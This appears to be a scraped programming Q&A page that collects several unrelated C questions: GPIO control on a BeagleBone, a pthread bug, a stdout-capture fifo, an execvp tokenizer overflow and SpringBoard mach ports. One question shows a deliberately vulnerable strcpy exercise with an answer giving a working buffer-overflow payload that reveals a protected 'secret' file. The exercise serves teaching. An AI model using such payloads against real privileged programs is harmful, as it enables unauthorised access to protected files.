I was trying to make a simple push button and led with BBB, and I successed to make it work. But my question is, the led supposed to be turned off before I press the button, but with this the led is automatically turned on when I run the code, and turned off when I press the button. I'm trying to set the pull up/down resistor by cd /sys/class/gpio/gpio44/ - echo 0 > value but its "operation not permitted" warning always appears. Can someone help me? Here is my code:
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <time.h>
void sig_handler(int signo)
{
if (signo == SIGINT)
printf("\nRecieved SIGINT\n");
exit(1);
}
void GPIOREAD(char *url, char* val)
{
FILE *path = fopen(url,"r");
fread(val, 2, 1, path);
fclose(path);
}
int main(void)
{
int status;
unsigned int cnt=0;
status = access("/sys/class/gpio/gpio44/value", F_OK );
if (status == -1)
{
//file doesnt exist
printf("GPIO_44 file doesnt exist dude\n");
exit(1);
}
status = access("/sys/class/gpio/gpio45/value", F_OK );
if (status == -1)
{
//file doesnt exist
printf("GPIO_45 file doesnt exist dude\n");
exit(1);
}
//set GPIO 45 as output
system("echo in > /sys/class/gpio/gpio44/direction");
system("echo out > /sys/class/gpio/gpio45/direction");
sleep(1);
char val[10];
while(1)
{
GPIOREAD("/sys/class/gpio/gpio44/value", val);
printf("BUTTON STAT %s\n", val);
if(!strcmp(val,"1\n"))
{
printf("%u) AAA LED --- ON\n", cnt);
system("echo 1 > /sys/class/gpio/gpio45/value");
}
else
{
printf("%u) AAA LED --- OFF\n", cnt);
system("echo 0 > /sys/class/gpio/gpio45/value");
}
}
return 0;
}
Are you running as root? Typically the files in /sys/class/gpio are owned by root, so you might simply have a permissions problem. Within your code, the mix of file operations and system(3) is unusual. Might be happier focusing on file ops only (but still must run as root). Good luck.
Related
[Edited and added reprex] When I put the declarations below in the beginning of the main() function, the behavior of the threads is erratic and incorrect. When I make these declarations global, or not the first declarations in main(), everything works fine. I'm using mingw-w64 on Windows 10.
pthread_t thr1, thr2, thr3;
Below is the program, it spawns three threads to read integers from three different text files and add them all to a single global variable. The call to pthread_join() for thr3 always fails with error code 3, and the final result of sum is different in different runs. But it all works fine if the pthread_t declarations are in a different location. I hope this is short enough it's less than 70 lines including whitespace.
#include <stdlib.h>
#include <pthread.h>
#include <stdio.h>
long sum = 0;
pthread_mutex_t sumLock = PTHREAD_MUTEX_INITIALIZER;
void* thrFunc(void* arg)
{
char curLine[50];
FILE *inFile = fopen((char*)arg, "r");
long curNum;
if (!inFile) {
printf("Error opening input file %s\n", arg);
pthread_exit((void*)1);
}
while (fgets(curLine, sizeof(curLine), inFile)) {
curNum = strtol(curLine, 0, 0);
pthread_mutex_lock(&sumLock);
sum += curNum;
pthread_mutex_unlock(&sumLock);
}
fclose(inFile);
pthread_exit((void*)0);
}
int main(void)
{
pthread_t thr1, thr2, thr3;
long threadResult;
int err;
if (pthread_create(&thr1, 0, thrFunc, (void*)"C:\\Users\\paulc\\long1.txt")) {
printf("Failed to create thread thr1\n");
exit(1);
}
if (pthread_create(&thr2, 0, thrFunc, (void*)"C:\\Users\\paulc\\long2.txt")) {
printf("Failed to create thread thr2\n");
exit(1);
}
if (pthread_create(&thr3, 0, thrFunc, (void*)"C:\\Users\\paulc\\long3.txt")) {
printf("Failed to create thread thr3\n");
exit(1);
}
if (err = pthread_join(thr1, (void**)&threadResult)) {
printf("failed to join thr1, error code = %d\n", err);
}
if (err = pthread_join(thr2, (void**)&threadResult)) {
printf("failed to join thr2, error code = %d\n", err);
}
if (err = pthread_join(thr3, (void**)&threadResult)) {
printf("failed to join thr3, error code = %d\n", err);
}
printf("Total: %ld\n", sum);
}
Given below is the code from file q2.c
I need to use memory exploit to read the content of file 'secret' that has no read permission for my group.
I tried using ./q2 $(python -c 'print "\xad\xdd\xba"*1024 ') to get the output from file 'secret' (look line 28), but probably I did some mistake.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv)
{
// the struct is used to ensure the loc variables are in the same order
// without struct, compiler can swap these around making expolit impossible
struct {
char buffer[1024];
volatile int changeme;
} locals;
locals.changeme = 0;
if (argc != 2) {
printf("Usage: q2 <some string>\n");
return 1;
}
// copy argument to the buffer
strcpy(locals.buffer, argv[1]);
// reveal the secret if "changeme" has been changed
if (locals.changeme == 0xbaddad) {
setreuid(geteuid(),getegid());
system("cat /home/q2/secret");
}
else {
printf("Try again!\n");
}
exit(0);
}
The problem occurs when you pass the arguments from the command:
$(python -c 'print "\xad\xdd\xba"*1024 ')
Here \xad\xdd\xba, actually takes 3 bytes so it becomes 3*1024 bytes. Also 1024 is not divisible by 3, if the buffer was of size 1023, then it would have work.
So instead of this try:
$(python -c 'print "\xab" * 1024 + "\xad\xdd\xba"')
It will fill the buffer with \xab, then for the next three bytes, it will fill the integer with the value you want.
I'm writing an app that (ab)uses an APL engine, libapl.so. The library contains a mechanism to allow me to capture results, but some stuff it dumps to stdout and stderr. So my question is, is there way a to capture stuff written to stdout rather than having it go to a screen, get piped to another process, or some such? Is there a way, for example, to connect stdout to stdin of the same process? I've tinkered with pipe2(), dup(2), and various bits of weirdness in GTK+/Glib, but I haven't hit the right incantation yet.
Did some more poking--at least one solution seems to be to create a fifo, open() it twice, once for reading, one for writing, and dup2() the writing fd to the stdout fd. This results in writes to stdout going through the fifo pipe where it can be read by the application. (Thanks for some inspiration by someone named Hasturkun, almost 7 years ago.)
Here's a bit of demo code:
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int
main (int ac, char *av[])
{
char tname[64];
sprintf (tname, "/tmp/testpipe%d", (int)getpid ());
int rc = mkfifo (tname, 0666);
if (rc != 0) {
perror ("Creating fifo");
return 1;
}
int temp_in_fd = open (tname, O_NONBLOCK | O_RDONLY);
if (temp_in_fd < 0) {
perror ("Opening new input");
return 1;
}
int temp_out_fd = open (tname, O_NONBLOCK | O_WRONLY);
if (temp_out_fd < 0) {
perror ("Opening new output");
return 1;
}
FILE *temp_in = fdopen (temp_in_fd, "r");
if (!temp_in) {
perror ("Creating new input FILE");
return 1;
}
FILE *temp_out = fdopen (temp_out_fd, "w");
if (!temp_out) {
perror ("Creating new input FILE");
return 1;
}
dup2 (fileno (temp_out), STDOUT_FILENO);
printf("Woot!");
fflush(stdout);
#define BFR_SIZE 64
char bfr[BFR_SIZE];
ssize_t sz = fread (bfr, 1, BFR_SIZE, temp_in);
fprintf (stderr, "got %d bytes: \"%s\"\n", (int)sz, bfr);
fclose (temp_out);
fclose (temp_in);
unlink (tname);
return 0;
}
I want to use execvp to run commands through my program. The user is prompted for a command (exits on eof).
Once the program has a command it forks a child process to process the command while the parent waits for the child to finish.
I'm tokenizing the input to store it in a char* array which is kept track of by variable 'i'.
Except 'i' keeps changing its value with each iteration of the while loop.
sample input: /bin/ls -l
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#define BUFFER 1024
int main(){
pid_t p;
char* paramList[] = {};
char input[BUFFER];
int i = 0;
char* segments;
printf(">");
while(fgets(input, BUFFER, stdin) != NULL){
if((p = fork()) == 0){
printf("Executing: %s\n", input);
i = 0;
segments = strtok(input, " ");
paramList[i] = segments;
printf("%s%d\n", paramList[i], i);
i++;
while(segments != NULL){
segments = strtok(NULL, " ");
paramList[i] = segments;
printf("%s%d\n", segments, i);
i++;
}
paramList[i] = NULL;
execvp(paramList[0], paramList);
}else{
printf(">");
waitpid(p, NULL, 0);
}
}
return 0;
}
You're not declaring a size for paramList, but you're giving it an empty initializer list; thus paramList has zero elements. And then you're writing more than zero elements into it, overflowing onto other local variables (like i).
I know we can use contextIdAtPosition and taskPortOfContextId to get the mach_port_t of the front top app, but when inside some app, we can not use contextIdAtPosition to get the context id of SpringBoard (it's at background), so how can we get the mach_port_t of SpringBoard? Thank you!
according to http://theiphonewiki.com/wiki//System/Library/LaunchDaemons/com.apple.SpringBoard.plist, the SpringBoard has exposed a lot of services. two of them might (or might not) be of your interests:
"com.apple.iohideventsystem"
"com.apple.springboard"
Here is the sample code to query the ports by service names.
#include <mach/mach.h>
#include "bootstrap.h"
#include <stdio.h>
#include <stdlib.h>
#define CHECK_MACH_ERROR(a) do {kern_return_t rr = (a); if ((rr) != KERN_SUCCESS) \
{ printf("Mach error %x (%s) on line %d of file %s\n", (rr), mach_error_string((rr)), __LINE__, __FILE__); abort(); } } while (0)
int main(int argc, char **argv, char **envp)
{
mach_port_t bp = MACH_PORT_NULL;
mach_port_t sp = MACH_PORT_NULL;
kern_return_t err = task_get_bootstrap_port(mach_task_self(), &bp);
CHECK_MACH_ERROR(err);
printf("bp:%d\n", bp);
err = bootstrap_look_up(bp, "com.apple.iohideventsystem", &sp);
CHECK_MACH_ERROR(err);
printf("iohideventsystem:%d\n", sp);
err = bootstrap_look_up(bp, "com.apple.springboard", &sp);
CHECK_MACH_ERROR(err);
printf("springboard:%d\n", sp);
// need to deallocate ports before exit
return 0;
}
The output:
my-iPad:~ root# /usr/bin/port_query
bp:519
iohideventsystem:4099
springboard:4355
There is a SpringboardService framework.
It has a function SBSSpringBoardServerPort() which returns Springboard mach port.
Note: Each application may have multiple mach ports, so I am not sure that it's one which you need.